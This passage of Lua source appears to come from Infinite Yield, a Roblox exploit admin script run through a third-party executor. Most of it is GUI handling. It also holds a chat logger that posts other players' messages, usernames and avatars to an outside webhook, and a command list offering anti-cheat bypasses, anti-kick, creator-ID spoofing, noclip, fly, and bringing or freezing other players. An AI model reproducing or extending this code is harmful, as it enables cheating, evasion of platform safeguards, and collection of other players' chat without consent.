shade3Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade3Button.BackgroundTransparency = 0.4 end end)
shade3Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade3Button.BackgroundTransparency = 0 end end)
text1Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,text1) end end)
text1Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text1Button.BackgroundTransparency = 0.4 end end)
text1Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text1Button.BackgroundTransparency = 0 end end)
text2Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,text2) end end)
text2Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text2Button.BackgroundTransparency = 0.4 end end)
text2Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text2Button.BackgroundTransparency = 0 end end)
scrollButton.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,scroll) end end)
scrollButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then scrollButton.BackgroundTransparency = 0.4 end end)
scrollButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then scrollButton.BackgroundTransparency = 0 end end)
cancelButton.MouseButton1Click:Connect(function() if newMt.Cancel then newMt:Cancel() end end)
cancelButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0.4 end end)
cancelButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0 end end)
defaultButton.MouseButton1Click:Connect(function() if newMt.Default then newMt:Default() end end)
defaultButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0.4 end end)
defaultButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0 end end)
pickerExit.MouseButton1Click:Connect(function()
picker:TweenPosition(UDim2.new(0.5, -219, 0, -500), "InOut", "Quart", 0.5, true, nil)
end)
updateColor()
newMt.SetColor = function(self,color)
red,green,blue = color.r,color.g,color.b
hue,sat,val = Color3.toHSV(color)
updateColor()
end
return newMt
end
end
picker:TweenPosition(UDim2.new(0.5, -219, 0, 100), "InOut", "Quart", 0.5, true, nil)
local Npicker = ColorPicker.new()
Npicker.Confirm = function(self,color,ctype) updateColors(color,ctype) wait() updatesaves() end
Npicker.Cancel = function(self)
updateColors(cache_currentShade1,shade1)
updateColors(cache_currentShade2,shade2)
updateColors(cache_currentShade3,shade3)
updateColors(cache_currentText1,text1)
updateColors(cache_currentText2,text2)
updateColors(cache_currentScroll,scroll)
wait()
updatesaves()
end
Npicker.Default = function(self)
updateColors(Color3.fromRGB(36, 36, 37),shade1)
updateColors(Color3.fromRGB(46, 46, 47),shade2)
updateColors(Color3.fromRGB(78, 78, 79),shade3)
updateColors(Color3.new(1, 1, 1),text1)
updateColors(Color3.new(0, 0, 0),text2)
updateColors(Color3.fromRGB(78,78,79),scroll)
wait()
updatesaves()
end
else
picker:TweenPosition(UDim2.new(0.5, -219, 0, 100), "InOut", "Quart", 0.5, true, nil)
end
end)
SettingsButton.MouseButton1Click:Connect(function()
if SettingsOpen == false then SettingsOpen = true
Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.5, true, nil)
CMDsF.Visible = false
else SettingsOpen = false
CMDsF.Visible = true
Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.5, true, nil)
end
end)
On.MouseButton1Click:Connect(function()
if isHidden == false then
if StayOpen == false then
StayOpen = true
On.BackgroundTransparency = 0
else
StayOpen = false
On.BackgroundTransparency = 1
end
updatesaves()
end
end)
Clear.MouseButton1Down:Connect(function()
for _, child in pairs(scroll_2:GetChildren()) do
child:Destroy()
end
scroll_2.CanvasSize = UDim2.new(0, 0, 0, 10)
end)
Clear_2.MouseButton1Down:Connect(function()
for _, child in pairs(scroll_3:GetChildren()) do
child:Destroy()
end
scroll_3.CanvasSize = UDim2.new(0, 0, 0, 10)
end)
Toggle.MouseButton1Down:Connect(function()
if logsEnabled then
logsEnabled = false
Toggle.Text = 'Disabled'
updatesaves()
else
logsEnabled = true
Toggle.Text = 'Enabled'
updatesaves()
end
end)
Toggle_2.MouseButton1Down:Connect(function()
if jLogsEnabled then
jLogsEnabled = false
Toggle_2.Text = 'Disabled'
updatesaves()
else
jLogsEnabled = true
Toggle_2.Text = 'Enabled'
updatesaves()
end
end)
selectChat.MouseButton1Down:Connect(function()
join.Visible = false
chat.Visible = true
table.remove(shade3,table.find(shade3,selectChat))
table.remove(shade2,table.find(shade2,selectJoin))
table.insert(shade2,selectChat)
table.insert(shade3,selectJoin)
selectJoin.BackgroundColor3 = currentShade3
selectChat.BackgroundColor3 = currentShade2
end)
selectJoin.MouseButton1Down:Connect(function()
chat.Visible = false
join.Visible = true
table.remove(shade3,table.find(shade3,selectJoin))
table.remove(shade2,table.find(shade2,selectChat))
table.insert(shade2,selectJoin)
table.insert(shade3,selectChat)
selectChat.BackgroundColor3 = currentShade3
selectJoin.BackgroundColor3 = currentShade2
end)
if not writefileExploit() then
notify("Saves", "Your exploit does not support read/write file. Your settings will not save.")
end
avatarcache = {}
function sendChatWebhook(player, message)
if httprequest and vtype(logsWebhook, "string") then
local id = player.UserId
local avatar = avatarcache[id]
if not avatar then
local d = HttpService:JSONDecode(httprequest({
Url = "https://thumbnails.roblox.com/v1/users/avatar-headshot?userIds=" .. id .. "&size=420x420&format=Png&isCircular=false",
Method = "GET"
}).Body)["data"]
avatar = d and d[1].state == "Completed" and d[1].imageUrl or "https://files.catbox.moe/i968v2.jpg"
avatarcache[id] = avatar
end
local log = HttpService:JSONEncode({
content = message,
avatar_url = avatar,
username = formatUsername(player),
allowed_mentions = {parse = {}}
})
httprequest({
Url = logsWebhook,
Method = "POST",
Headers = {["Content-Type"] = "application/json"},
Body = log
})
end
end
ChatLog = function(player)
player.Chatted:Connect(function(message)
if logsEnabled == true then
CreateLabel(player.Name, message)
sendChatWebhook(player, message)
end
end)
end
JoinLog = function(plr)
if jLogsEnabled == true then
CreateJoinLabel(plr,plr.UserId)
end
end
CleanFileName = function(name)
return tostring(name):gsub("[*\\?:<>|]+", ""):sub(1, 175)
end
SaveChatlogs.MouseButton1Down:Connect(function()
if writefileExploit() then
if #scroll_2:GetChildren() > 0 then
notify("Loading",'Hold on a sec')
local placeName = CleanFileName(MarketplaceService:GetProductInfo(PlaceId).Name)
local writelogs = '-- Infinite Yield Chat logs for "'..placeName..'"\n'
for _, child in pairs(scroll_2:GetChildren()) do
writelogs = writelogs..'\n'..child.Text
end
local writelogsFile = tostring(writelogs)
local fileext = 0
local function nameFile()
local file
pcall(function() file = readfile(placeName..' Chat Logs ('..fileext..').txt') end)
if file then
fileext = fileext+1
nameFile()
else
writefileCooldown(placeName..' Chat Logs ('..fileext..').txt', writelogsFile)
end
end
nameFile()
notify('Chat Logs','Saved chat logs to the workspace folder within your exploit folder.')
end
else
notify('Chat Logs','Your exploit does not support write file. You cannot save chat logs.')
end
end)
if isLegacyChat then
for _, plr in pairs(Players:GetPlayers()) do
ChatLog(plr)
end
end
Players.PlayerRemoving:Connect(function(player)
if ESPenabled or CHMSenabled or COREGUI:FindFirstChild(player.Name..'_LC') then
for i,v in pairs(COREGUI:GetChildren()) do
if v.Name == player.Name..'_ESP' or v.Name == player.Name..'_LC' or v.Name == player.Name..'_CHMS' then
v:Destroy()
end
end
end
if viewing ~= nil and player == viewing then
workspace.CurrentCamera.CameraSubject = Players.LocalPlayer.Character
viewing = nil
if viewDied then
viewDied:Disconnect()
viewChanged:Disconnect()
end
notify('Spectate','View turned off (player left)')
end
eventEditor.FireEvent("OnLeave", player.Name)
end)
Exit.MouseButton1Down:Connect(function()
logs:TweenPosition(UDim2.new(0, 0, 1, 10), "InOut", "Quart", 0.3, true, nil)
end)
Hide.MouseButton1Down:Connect(function()
if logs.Position ~= UDim2.new(0, 0, 1, -20) then
logs:TweenPosition(UDim2.new(0, 0, 1, -20), "InOut", "Quart", 0.3, true, nil)
else
logs:TweenPosition(UDim2.new(0, 0, 1, -265), "InOut", "Quart", 0.3, true, nil)
end
end)
EventBind.MouseButton1Click:Connect(function()
eventEditor.Frame:TweenPosition(UDim2.new(0.5,-175,0.5,-101), "InOut", "Quart", 0.5, true, nil)
end)
Keybinds.MouseButton1Click:Connect(function()
KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
wait(0.5)
SettingsHolder.Visible = false
end)
Close.MouseButton1Click:Connect(function()
SettingsHolder.Visible = true
KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
end)
Keybinds.MouseButton1Click:Connect(function()
KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
wait(0.5)
SettingsHolder.Visible = false
end)
Add.MouseButton1Click:Connect(function()
KeybindEditor:TweenPosition(UDim2.new(0.5, -180, 0, 260), "InOut", "Quart", 0.5, true, nil)
end)
Delete.MouseButton1Click:Connect(function()
binds = {}
refreshbinds()
updatesaves()
notify('Keybinds Updated','Removed all keybinds')
end)
Close_2.MouseButton1Click:Connect(function()
SettingsHolder.Visible = true
AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
end)
Aliases.MouseButton1Click:Connect(function()
AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
wait(0.5)
SettingsHolder.Visible = false
end)
Close_3.MouseButton1Click:Connect(function()
SettingsHolder.Visible = true
PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
end)
Positions.MouseButton1Click:Connect(function()
PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
wait(0.5)
SettingsHolder.Visible = false
end)
local selectionBox = Instance.new("SelectionBox")
selectionBox.Name = randomString()
selectionBox.Color3 = Color3.new(255,255,255)
selectionBox.Adornee = nil
selectionBox.Parent = PARENT
local selected = Instance.new("SelectionBox")
selected.Name = randomString()
selected.Color3 = Color3.new(0,166,0)
selected.Adornee = nil
selected.Parent = PARENT
local ActivateHighlight = nil
local ClickSelect = nil
function selectPart()
ToPartFrame:TweenPosition(UDim2.new(0.5, -180, 0, 335), "InOut", "Quart", 0.5, true, nil)
local function HighlightPart()
if selected.Adornee ~= IYMouse.Target then
selectionBox.Adornee = IYMouse.Target
else
selectionBox.Adornee = nil
end
end
ActivateHighlight = IYMouse.Move:Connect(HighlightPart)
local function SelectPart()
if IYMouse.Target ~= nil then
selected.Adornee = IYMouse.Target
Path.Text = getHierarchy(IYMouse.Target)
end
end
ClickSelect = IYMouse.Button1Down:Connect(SelectPart)
end
Part.MouseButton1Click:Connect(function()
selectPart()
end)
Exit_4.MouseButton1Click:Connect(function()
ToPartFrame:TweenPosition(UDim2.new(0.5, -180, 0, -500), "InOut", "Quart", 0.5, true, nil)
if ActivateHighlight then
ActivateHighlight:Disconnect()
end
if ClickSelect then
ClickSelect:Disconnect()
end
selectionBox.Adornee = nil
selected.Adornee = nil
Path.Text = ""
end)
CopyPath.MouseButton1Click:Connect(function()
if Path.Text ~= "" then
toClipboard(Path.Text)
else
notify('Copy Path','Select a part to copy its path')
end
end)
ChoosePart.MouseButton1Click:Connect(function()
if Path.Text ~= "" then
local tpNameExt = ''
local function handleWpNames()
local FoundDupe = false
for i,v in pairs(pWayPoints) do
if v.NAME:lower() == selected.Adornee.Name:lower()..tpNameExt then
FoundDupe = true
end
end
if not FoundDupe then
notify('Modified Waypoints',"Created waypoint: "..selected.Adornee.Name..tpNameExt)
pWayPoints[#pWayPoints + 1] = {NAME = selected.Adornee.Name..tpNameExt, COORD = {selected.Adornee}}
else
if isNumber(tpNameExt) then
tpNameExt = tpNameExt+1
else
tpNameExt = 1
end
handleWpNames()
end
end
handleWpNames()
refreshwaypoints()
else
notify('Part Selection','Select a part first')
end
end)
cmds={}
customAlias = {}
Delete_3.MouseButton1Click:Connect(function()
customAlias = {}
aliases = {}
notify('Aliases Modified','Removed all aliases')
updatesaves()
refreshaliases()
end)
PrefixBox:GetPropertyChangedSignal("Text"):Connect(function()
prefix = PrefixBox.Text
Cmdbar.PlaceholderText = "Command Bar ("..prefix..")"
updatesaves()
end)
function CamViewport()
if workspace.CurrentCamera then
return workspace.CurrentCamera.ViewportSize.X
end
end
function UpdateToViewport()
if Holder.Position.X.Offset < -CamViewport() then
Holder:TweenPosition(UDim2.new(1, -CamViewport(), Holder.Position.Y.Scale, Holder.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
Notification:TweenPosition(UDim2.new(1, -CamViewport() + 250, Notification.Position.Y.Scale, Notification.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
end
end
CameraChanged = workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(UpdateToViewport)
function updateCamera(child, parent)
if parent ~= workspace then
CamMoved:Disconnect()
CameraChanged:Disconnect()
repeat wait() until workspace.CurrentCamera
CameraChanged = workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(UpdateToViewport)
CamMoved = workspace.CurrentCamera.AncestryChanged:Connect(updateCamera)
end
end
CamMoved = workspace.CurrentCamera.AncestryChanged:Connect(updateCamera)
function dragMain(dragpoint,gui)
task.spawn(function()
local dragging
local dragInput
local dragStart = Vector3.new(0,0,0)
local startPos
local function update(input)
local pos = -250
local delta = input.Position - dragStart
if startPos.X.Offset + delta.X <= -500 then
local Position = UDim2.new(1, -250, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
TweenService:Create(Notification, TweenInfo.new(.20), {Position = Position}):Play()
pos = 250
else
local Position = UDim2.new(1, -500, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
TweenService:Create(Notification, TweenInfo.new(.20), {Position = Position}):Play()
pos = -250
end
if startPos.X.Offset + delta.X <= -250 and -CamViewport() <= startPos.X.Offset + delta.X then
local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, gui.Position.Y.Scale, gui.Position.Y.Offset)
TweenService:Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
local Position2 = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X + pos, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
TweenService:Create(Notification, TweenInfo.new(.20), {Position = Position2}):Play()
elseif startPos.X.Offset + delta.X > -500 then
local Position = UDim2.new(1, -250, gui.Position.Y.Scale, gui.Position.Y.Offset)
TweenService:Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
elseif -CamViewport() > startPos.X.Offset + delta.X then
gui:TweenPosition(UDim2.new(1, -CamViewport(), gui.Position.Y.Scale, gui.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
local Position = UDim2.new(1, -CamViewport(), gui.Position.Y.Scale, gui.Position.Y.Offset)
TweenService:Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
local Position2 = UDim2.new(1, -CamViewport() + 250, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
TweenService:Create(Notification, TweenInfo.new(.20), {Position = Position2}):Play()
end
end
dragpoint.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
dragpoint.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
end)
end
dragMain(Title,Holder)
Match = function(name,str)
str = str:gsub("%W", "%%%1")
return name:lower():find(str:lower()) and true
end
local canvasPos = Vector2.new(0,0)
local topCommand = nil
IndexContents = function(str,bool,cmdbar,Ianim)
CMDsF.CanvasPosition = Vector2.new(0,0)
local SizeY = 0
local indexnum = 0
local frame = CMDsF
topCommand = nil
local chunks = {}
if str:sub(#str,#str) == "\\" then str = "" end
for w in string.gmatch(str,"[^\\]+") do
table.insert(chunks,w)
end
if #chunks > 0 then str = chunks[#chunks] end
if str:sub(1,1) == "!" then str = str:sub(2) end
for i,v in next, frame:GetChildren() do
if v:IsA("TextButton") then
if bool then
if Match(v.Text,str) then
indexnum = indexnum + 1
v.Visible = true
if topCommand == nil then
topCommand = v.Text
end
else
v.Visible = false
end
else
v.Visible = true
if topCommand == nil then
topCommand = v.Text
end
end
end
end
frame.CanvasSize = UDim2.new(0,0,0,cmdListLayout.AbsoluteContentSize.Y)
if not Ianim then
if indexnum == 0 or string.find(str, " ") then
if not cmdbar then
minimizeHolder()
elseif cmdbar then
cmdbarHolder()
end
else
maximizeHolder()
end
else
minimizeHolder()
end
end
task.spawn(function()
if not isLegacyChat then return end
local chatbox
local success, result = pcall(function() chatbox = PlayerGui:WaitForChild("Chat").Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar end)
if success then
local function chatboxFocused()
canvasPos = CMDsF.CanvasPosition
end
local chatboxFocusedC = chatbox.Focused:Connect(chatboxFocused)
local function Index()
if chatbox.Text:lower():sub(1,1) == prefix then
if SettingsOpen == true then
wait(0.2)
CMDsF.Visible = true
Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.2, true, nil)
end
IndexContents(PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar.Text:lower():sub(2),true)
else
minimizeHolder()
if SettingsOpen == true then
wait(0.2)
Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.2, true, nil)
CMDsF.Visible = false
end
end
end
local chatboxFunc = chatbox:GetPropertyChangedSignal("Text"):Connect(Index)
local function chatboxFocusLost(enterpressed)
if not enterpressed or chatbox.Text:lower():sub(1,1) ~= prefix then
IndexContents('',true)
end
CMDsF.CanvasPosition = canvasPos
minimizeHolder()
end
local chatboxFocusLostC = chatbox.FocusLost:Connect(chatboxFocusLost)
PlayerGui:WaitForChild("Chat").Frame.ChatBarParentFrame.ChildAdded:Connect(function(newbar)
wait()
if newbar:FindFirstChild('BoxFrame') then
chatbox = PlayerGui:WaitForChild("Chat").Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar
if chatboxFocusedC then chatboxFocusedC:Disconnect() end
chatboxFocusedC = chatbox.Focused:Connect(chatboxFocused)
if chatboxFunc then chatboxFunc:Disconnect() end
chatboxFunc = chatbox:GetPropertyChangedSignal("Text"):Connect(Index)
if chatboxFocusLostC then chatboxFocusLostC:Disconnect() end
chatboxFocusLostC = chatbox.FocusLost:Connect(chatboxFocusLost)
end
end)
--else
--print('Custom chat detected. Will not provide suggestions for commands typed in the chat.')
end
end)
function autoComplete(str,curText)
local endingChar = {"[", "/", "(", " "}
local stop = 0
for i=1,#str do
local c = str:sub(i,i)
if table.find(endingChar, c) then
stop = i
break
end
end
curText = curText or Cmdbar.Text
local subPos = 0
local pos = 1
local findRes = string.find(curText,"\\",pos)
while findRes do
subPos = findRes
pos = findRes+1
findRes = string.find(curText,"\\",pos)
end
if curText:sub(subPos+1,subPos+1) == "!" then subPos = subPos + 1 end
Cmdbar.Text = curText:sub(1,subPos) .. str:sub(1, stop - 1)..' '
RunService.RenderStepped:Wait()
Cmdbar.Text = Cmdbar.Text:gsub( '\t', '' )
Cmdbar.CursorPosition = #Cmdbar.Text+1--1020
end
CMDs = {}
CMDs[#CMDs + 1] = {NAME = 'discord / support / help', DESC = 'Invite to the Infinite Yield support server.'}
CMDs[#CMDs + 1] = {NAME = 'guiscale [number]', DESC = 'Changes the size of the gui. [number] accepts both decimals and whole numbers. Min is 0.4 and Max is 2'}
CMDs[#CMDs + 1] = {NAME = 'console', DESC = 'Loads Roblox console'}
CMDs[#CMDs + 1] = {NAME = 'oldconsole', DESC = 'Loads old Roblox console'}
CMDs[#CMDs + 1] = {NAME = 'explorer / dex', DESC = 'Opens DEX by Moon'}
CMDs[#CMDs + 1] = {NAME = 'olddex / odex', DESC = 'Opens Old DEX by Moon'}
CMDs[#CMDs + 1] = {NAME = 'remotespy / rspy', DESC = 'Opens Simple Spy V3'}
CMDs[#CMDs + 1] = {NAME = 'audiologger / alogger', DESC = 'Opens Edges audio logger'}
CMDs[#CMDs + 1] = {NAME = 'serverinfo / info', DESC = 'Gives you info about the server'}
CMDs[#CMDs + 1] = {NAME = 'jobid', DESC = 'Copies the games JobId to your clipboard'}
CMDs[#CMDs + 1] = {NAME = 'notifyjobid', DESC = 'Notifies you the games JobId'}
CMDs[#CMDs + 1] = {NAME = 'rejoin / rj', DESC = 'Makes you rejoin the game'}
CMDs[#CMDs + 1] = {NAME = 'autorejoin / autorj', DESC = 'Automatically rejoins the server if you get kicked/disconnected'}
CMDs[#CMDs + 1] = {NAME = 'serverhop / shop', DESC = 'Teleports you to a different server'}
CMDs[#CMDs + 1] = {NAME = 'gameteleport / gametp [place ID]', DESC = 'Joins a game by ID'}
CMDs[#CMDs + 1] = {NAME = 'antiidle / antiafk', DESC = 'Prevents the game from kicking you for being idle/afk'}
CMDs[#CMDs + 1] = {NAME = 'datalimit [num]', DESC = 'Set outgoing KBPS limit'}
CMDs[#CMDs + 1] = {NAME = 'replicationlag / backtrack [num]', DESC = 'Set IncomingReplicationLag'}
CMDs[#CMDs + 1] = {NAME = 'creatorid / creator', DESC = 'Notifies you the creators ID'}
CMDs[#CMDs + 1] = {NAME = 'copycreatorid / copycreator', DESC = 'Copies the creators ID to your clipboard'}
CMDs[#CMDs + 1] = {NAME = 'setcreatorid / setcreator', DESC = 'Sets your userid to the creators ID'}
CMDs[#CMDs + 1] = {NAME = 'noprompts', DESC = 'Prevents the game from showing you purchase/premium prompts'}
CMDs[#CMDs + 1] = {NAME = 'showprompts', DESC = 'Allows the game to show purchase/premium prompts again'}
CMDs[#CMDs + 1] = {NAME = 'enable [inventory/playerlist/chat/reset/emotes/all]', DESC = 'Toggles visibility of coregui items'}
CMDs[#CMDs + 1] = {NAME = 'disable [inventory/playerlist/chat/reset/emotes/all]', DESC = 'Toggles visibility of coregui items'}
CMDs[#CMDs + 1] = {NAME = 'showguis', DESC = 'Shows any invisible GUIs'}
CMDs[#CMDs + 1] = {NAME = 'unshowguis', DESC = 'Undoes showguis'}
CMDs[#CMDs + 1] = {NAME = 'hideguis', DESC = 'Hides any GUIs in PlayerGui'}
CMDs[#CMDs + 1] = {NAME = 'unhideguis', DESC = 'Undoes hideguis'}
CMDs[#CMDs + 1] = {NAME = 'guidelete', DESC = 'Enables backspace to delete GUI'}
CMDs[#CMDs + 1] = {NAME = 'unguidelete / noguidelete', DESC = 'Disables guidelete'}
CMDs[#CMDs + 1] = {NAME = 'hideiy', DESC = 'Hides the main IY GUI'}
CMDs[#CMDs + 1] = {NAME = 'showiy / unhideiy', DESC = 'Shows IY again'}
CMDs[#CMDs + 1] = {NAME = 'keepiy', DESC = 'Auto execute IY when you teleport through servers'}
CMDs[#CMDs + 1] = {NAME = 'unkeepiy', DESC = 'Disable keepiy'}
CMDs[#CMDs + 1] = {NAME = 'togglekeepiy', DESC = 'Toggles keepiy'}
CMDs[#CMDs + 1] = {NAME = 'savegame / saveplace', DESC = 'Uses saveinstance to save the game'}
CMDs[#CMDs + 1] = {NAME = 'clearerror', DESC = 'Clears the annoying box and blur when a game kicks you'}
CMDs[#CMDs + 1] = {NAME = 'clientantikick / antikick (CLIENT)', DESC = 'Prevents localscripts from kicking you'}
CMDs[#CMDs + 1] = {NAME = 'clientantiteleport / antiteleport (CLIENT)', DESC = 'Prevents localscripts from teleporting you'}
CMDs[#CMDs + 1] = {NAME = 'allowrejoin / allowrj [true/false] (CLIENT)', DESC = 'Changes if antiteleport allows you to rejoin or not'}
CMDs[#CMDs + 1] = {NAME = 'cancelteleport / canceltp', DESC = 'Cancels teleports in progress'}
CMDs[#CMDs + 1] = {NAME = 'volume / vol [0-10]', DESC = 'Adjusts your game volume on a scale of 0 to 10'}
CMDs[#CMDs + 1] = {NAME = 'antilag / boostfps / lowgraphics', DESC = 'Lowers game quality to boost FPS'}
CMDs[#CMDs + 1] = {NAME = 'record / rec', DESC = 'Starts Roblox recorder'}
CMDs[#CMDs + 1] = {NAME = 'screenshot / scrnshot', DESC = 'Takes a screenshot'}
CMDs[#CMDs + 1] = {NAME = 'togglefullscreen / togglefs', DESC = 'Toggles fullscreen'}
CMDs[#CMDs + 1] = {NAME = 'notify [text]', DESC = 'Sends you a notification with the provided text'}
CMDs[#CMDs + 1] = {NAME = 'lastcommand / lastcmd', DESC = 'Executes the previous command used'}
CMDs[#CMDs + 1] = {NAME = 'exit', DESC = 'Kills roblox process'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'noclip', DESC = 'Go through objects'}
CMDs[#CMDs + 1] = {NAME = 'unnoclip / clip', DESC = 'Disables noclip'}
CMDs[#CMDs + 1] = {NAME = 'fly [speed]', DESC = 'Makes you fly'}
CMDs[#CMDs + 1] = {NAME = 'unfly', DESC = 'Disables fly'}
CMDs[#CMDs + 1] = {NAME = 'flyspeed [num]', DESC = 'Set fly speed (default is 20)'}
CMDs[#CMDs + 1] = {NAME = 'vehiclefly / vfly [speed]', DESC = 'Makes you fly in a vehicle'}
CMDs[#CMDs + 1] = {NAME = 'unvehiclefly / unvfly', DESC = 'Disables vehicle fly'}
CMDs[#CMDs + 1] = {NAME = 'vehicleflyspeed / vflyspeed [num]', DESC = 'Set vehicle fly speed'}
CMDs[#CMDs + 1] = {NAME = 'cframefly / cfly [speed]', DESC = 'Makes you fly, bypassing some anti cheats (works on mobile)'}
CMDs[#CMDs + 1] = {NAME = 'uncframefly / uncfly', DESC = 'Disables cfly'}
CMDs[#CMDs + 1] = {NAME = 'cframeflyspeed / cflyspeed [num]', DESC = 'Sets cfly speed'}
CMDs[#CMDs + 1] = {NAME = 'qefly [true / false]', DESC = 'Enables or disables the Q and E hotkeys for fly'}
CMDs[#CMDs + 1] = {NAME = 'vehiclenoclip / vnoclip', DESC = 'Turns off vehicle collision'}
CMDs[#CMDs + 1] = {NAME = 'vehicleclip / vclip / unvnoclip', DESC = 'Enables vehicle collision'}
CMDs[#CMDs + 1] = {NAME = 'float / platform', DESC = 'Spawns a platform beneath you causing you to float'}
CMDs[#CMDs + 1] = {NAME = 'unfloat / noplatform', DESC = 'Removes the platform'}
CMDs[#CMDs + 1] = {NAME = 'swim', DESC = 'Allows you to swim in the air'}
CMDs[#CMDs + 1] = {NAME = 'unswim / noswim', DESC = 'Stops you from swimming everywhere'}
CMDs[#CMDs + 1] = {NAME = 'toggleswim', DESC = 'Toggles swimming'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'setwaypoint / swp [name]', DESC = 'Sets a waypoint at your position'}
CMDs[#CMDs + 1] = {NAME = 'waypointpos / wpp [name] [X Y Z]', DESC = 'Sets a waypoint with specified coordinates'}
CMDs[#CMDs + 1] = {NAME = 'waypoints', DESC = 'Shows a list of currently active waypoints'}
CMDs[#CMDs + 1] = {NAME = 'showwaypoints / showwp', DESC = 'Shows all currently set waypoints'}
CMDs[#CMDs + 1] = {NAME = 'hidewaypoints / hidewp', DESC = 'Hides shown waypoints'}
CMDs[#CMDs + 1] = {NAME = 'waypoint / wp [name]', DESC = 'Teleports player to a waypoint'}
CMDs[#CMDs + 1] = {NAME = 'tweenwaypoint / twp [name]', DESC = 'Tweens player to a waypoint'}
CMDs[#CMDs + 1] = {NAME = 'walktowaypoint / wtwp [name]', DESC = 'Walks player to a waypoint'}
CMDs[#CMDs + 1] = {NAME = 'deletewaypoint / dwp [name]', DESC = 'Deletes a waypoint'}
CMDs[#CMDs + 1] = {NAME = 'clearwaypoints / cwp', DESC = 'Clears all waypoints'}
CMDs[#CMDs + 1] = {NAME = 'cleargamewaypoints / cgamewp', DESC = 'Clears all waypoints for the game you are in'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'goto [player]', DESC = 'Go to a player'}
CMDs[#CMDs + 1] = {NAME = 'tweengoto / tgoto [player]', DESC = 'Tween to a player (bypasses some anti cheats)'}
CMDs[#CMDs + 1] = {NAME = 'tweenspeed / tspeed [num]', DESC = 'Sets how fast all tween commands go (default is 1)'}
CMDs[#CMDs + 1] = {NAME = 'vehiclegoto / vgoto [player]', DESC = 'Go to a player while in a vehicle'}
CMDs[#CMDs + 1] = {NAME = 'loopgoto [player] [distance] [delay]', DESC = 'Loop teleport to a player'}
CMDs[#CMDs + 1] = {NAME = 'unloopgoto', DESC = 'Stops teleporting you to a player'}
CMDs[#CMDs + 1] = {NAME = 'pulsetp / ptp [player] [seconds]', DESC = 'Teleports you to a player for a specified amount of time'}
CMDs[#CMDs + 1] = {NAME = 'clientbring / cbring [player] (CLIENT)', DESC = 'Bring a player'}
CMDs[#CMDs + 1] = {NAME = 'loopbring [player] [distance] [delay] (CLIENT)', DESC = 'Loop brings a player to you (useful for killing)'}
CMDs[#CMDs + 1] = {NAME = 'unloopbring [player]', DESC = 'Undoes loopbring'}
CMDs[#CMDs + 1] = {NAME = 'freeze / fr [player] (CLIENT)', DESC = 'Freezes a player'}
